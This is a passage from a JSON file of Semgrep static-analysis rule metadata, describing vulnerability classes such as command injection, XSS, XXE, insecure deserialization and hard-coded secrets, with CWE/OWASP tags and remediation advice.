prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection","id":"python.django.security.injection.command.subprocess-injection.subprocess-injection","name":"python.django.security.injection.command.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format","id":"go.lang.security.injection.raw-html-format.raw-html-format","name":"go.lang.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell)\n - [https://docs.python.org/3/library/asyncio-subprocess.html](https://docs.python.org/3/library/asyncio-subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","id":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","name":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"help":{"markdown":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8)\n","text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","id":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","name":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"help":{"markdown":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root)\n - [https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/](https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user)\n","text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root","id":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","name":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.run-as-non-root.run-as-non-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"help":{"markdown":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe)\n - [https://github.com/Leonidas-from-XIV/node-xml2js/issues/415](https://github.com/Leonidas-from-XIV/node-xml2js/issues/415)\n - [https://github.com/isaacs/sax-js](https://github.com/isaacs/sax-js)\n","text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"helpUri":"https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe","id":"javascript.sax.security.audit.sax-xxe.sax-xxe","name":"javascript.sax.security.audit.sax-xxe.sax-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sax.security.audit.sax-xxe.sax-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","id":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","name":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","id":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","name":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","id":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","name":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration","id":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","name":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-data-exfiltration.express-data-exfiltration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"help":{"markdown":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas)\n - [https://lxml.de/FAQ.html](https://lxml.de/FAQ.html)\n","text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"helpUri":"https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas","id":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","name":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.lxml-in-pandas.lxml-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate](https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate)\n","text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"help":{"markdown":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template)\n - [https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security](https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security)\n","text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template","id":"go.lang.security.audit.xss.import-text-template.import-text-template","name":"go.lang.security.audit.xss.import-text-template.import-text-template","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.import-text-template.import-text-template"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"help":{"markdown":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","id":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","name":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"help":{"markdown":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","id":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","name":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"help":{"markdown":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors","id":"java.lang.security.audit.permissive-cors.permissive-cors","name":"java.lang.security.audit.permissive-cors.permissive-cors","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: 